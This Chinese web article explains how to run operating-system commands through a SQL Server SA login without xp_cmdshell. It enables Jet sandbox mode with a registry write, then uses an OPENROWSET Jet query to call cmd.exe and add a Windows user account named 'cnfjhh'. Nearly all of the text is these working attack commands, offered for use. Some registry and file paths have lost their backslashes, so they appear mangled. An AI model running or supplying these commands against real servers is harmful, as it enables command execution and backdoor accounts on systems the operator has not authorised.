SA 沙盘模式下不用恢复xp_cmdshell和xplog70.dll也执行命令
发布时间:2016-12-29 来源:查字典编辑
摘要:首先开启沙盘模式:execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWAREMicrosof...
首先开启沙盘模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c net user cnfjhh fst /add")')